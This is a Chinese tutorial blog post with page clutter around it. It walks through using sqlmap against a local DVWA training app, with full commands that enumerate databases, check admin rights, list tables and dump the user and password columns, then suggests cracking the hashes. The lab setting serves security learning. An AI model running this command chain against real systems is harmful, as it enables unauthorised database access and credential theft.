结合sqlmap进行sql注入:(-r后面是通过burp suite抓出来的请求包;-p后面是注入点,即该请求里携带的某个参数)

  • Get请求的注入:

      ./sqlmap.py -r rss_test.txt -p orderId
    • --cookie表示携带cookie的请求,一般为登录cookie

        python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-4530-9f07-677aa2176c6c; PHPSESSID=69vkfcgth1nurep7o8uhf7a577" –dbs
  • post请求的注入:rss_test.txt是post请求的抓包数据信息

    • 如果post注入,需要body信息,确定是-r txt 还是–data=“name=value”

        python sqlmap.py -r rss_test.txt -p orderId --dbs --random-agent
    • 也可不写注入点,比如 ./sqlmap.py -r xx.txt

    • 注入日志输出在如下路径:

        C:\Users\cj\AppData\Local\sqlmap\output
  • 注入过程如下:

  • 如上图,表示当前sql注入已经探测出了该数据库类型为MySQL,如果确定是,则直接输入Y,跳过其他数据库类型的检测

  • 对于其余的测试,是否要包括所有针对“MySQL”扩展的测试提供的水平(1)和风险(1)值,输入Y,包含所有针对MySQL的测试

  • 如上图,检测到参数id存在注入的风险(结果中包含 “id” is Vulnerable 字段表示存在注入),是否想要保持测试其他的参数,如果确定其他参数无注入风险的话,直接输入N,不再测其他参数。说明这里存在sql注入点。

  • 接下来会注入并获取数据库(前提是,当前的cookie需有效,若无效,则会获取不到数据库),如下



  • 用 --current-db进一步获取当前数据库

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --current-db

  • 用 --is-dba判断该注入点是否有管理员权限:返回true 表示是管理员

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --is-dba

  • 用 -D "dvwa" –tables 获取当前数据库的所有表(dvwa数据库是之前查出的当前数据库)

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" –tables

  • 用 -D "dvwa" -T "users" –columns 获取数据库dvwa中表users的所有字段

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users"
    --columns

  • 用 -D "dvwa" -T "users" -C "user,password" –dump 获取user和password字段的值,如下

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users"
    -C "user,password" –dump

  • 这里获取到的用户名和密码,猜测密码加密方式,再用对应的方式解密。

结合sqlmap进行sql注入过程的更多相关文章

  1. CentOS 7 通过SQLmap进行SQL注入

    安装SQLmap: IP:192.168.94.11 渗透测试演练系统DVWA: IP:192.168.94.111 通过SQLmap检测SQL注入漏洞 : 1.安装SQLmap漏洞查看工具 2.安装 ...

  2. Java程序员从笨鸟到菜鸟之(一百零一)sql注入攻击详解(二)sql注入过程详解

    在上篇博客中我们分析了sql注入的原理,今天我们就来看一下sql注入的整体过程,也就是说如何进行sql注入,由于本人数据库和网络方面知识有限,此文章是对网上大量同类文章的分析与总结,其中有不少直接引用 ...

  3. sqlmap查找SQL注入漏洞入门

    1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...

  4. sqlmap检测sql注入漏洞

    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...

  5. 使用sqlmap执行SQL注入攻击

    sqlmap是开源的SQL注入自动攻击工具,它可以自动的探测SQL注入点并且进一步控制网站的数据库. Kali Linux默认安装了这个工具. 找到潜在的攻击目标 第一步是找到有SQL注入漏洞的网站. ...

  6. kali之使用sqlmap进行sql注入

    sqlmap简介 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可以根据返回页面判断条件真假的注入. 2.基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是 ...

  7. 典型的 SQL 注入过程(转)

    无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权.这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程. 发现 ...

  8. Burosuite抓包Sqlmap学习Sql注入

    在sqlmap中加入--proyxy参数: --proxy "http://127.0.0.1:8080" 如下图所示: 回车以后sqlmap会自动抓到数据包: 我们选择向前(fo ...

  9. 使用SQLMAP对网站和数据库进行SQL注入攻击

    from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/ 0x00 背景介 ...

随机推荐

  1. Java基于SSM在线学习系统设计与实现

                 Spring+SpringMVC+MyBatis+Bootstrap+Vue开发在线学习系统 本课题的主要内容是开发基于Java EE的在线学习平台,使用MVC经典开发模式. ...

  2. Android 基础知识 -- Linux环境搭建

    Android 开发工具下载网站:http://www.androiddevtools.cn/ 1 JDK 1.1 下载JDK,解压后放到/usr/lib/jvm/目录 sudo mv jdk1.7. ...

  3. JS 字符串 String对象

    charAt(index) 返回指定索引位置的字符 charCodeAt() 返回指定索引位置字符的 Unicode 值 indexOf(searchString, startIndex) 返回子字符 ...

  4. SpringBoot整合WEB开发--(九)整合Servlet,Filter,Listener

    简介: 如果需要整合第三方框架时,可能还是不得不使用Servlet,Filter,Listener,Springboot中也有提供支持. @WebServlet("/my") pu ...

  5. UnicodeDecodeError: 'gbk' codec can't decode byte 0xfe in position 45: illegal multibyte sequence

    常见的一种解码错误如题目所示,下面介绍该错误的解决方法 (1).首先在打开文本的时候,设置其编码格式,如:open(‘1.txt’, encoding=’gbk’): (2).若(1)不能解决,可能是 ...

  6. Android Studio阶段性学习总结_1

    这半个月一直在学习Android方面的知识,对Android开发有了一个基本的认识,学会了Android studio的基本操作. 在建立第一个Android studio项目时,我遇到了很大的阻碍, ...

  7. Mysql多实例数据库安装应用

    第1章 MySQL多实例数据库企业级应用实践 1.1 MySQL多实例介绍 前文已经讲了为什么选择MySQL数据库,以及MySQL数据库在Linux系统下的多种安装方式,同时以单实例讲解了编译方式安装 ...

  8. JS高级---案例:验证用户输入的是不是中文名字

    案例:验证用户输入的是不是中文名字 [\u4e00-\u9fa5] <!DOCTYPE html> <html lang="en"> <head> ...

  9. BBR在实时音视频领域的应用

    小议BBR算法 BBR全称Bottleneck Bandwidth and RTT,它是谷歌在2016年推出的全新的网络拥塞控制算法.要说明BBR算法,就不能不提TCP拥塞算法. 传统的TCP拥塞控制 ...

  10. RMQ(区间最值问题)

    问题: RMQ (Range Minimum/Maximum Query)问题是指:对于长度为n的数列A,回答若干询问RMQ(A,i,j)(i,j<=n),返回数列A中下标在i,j里的最小(大) ...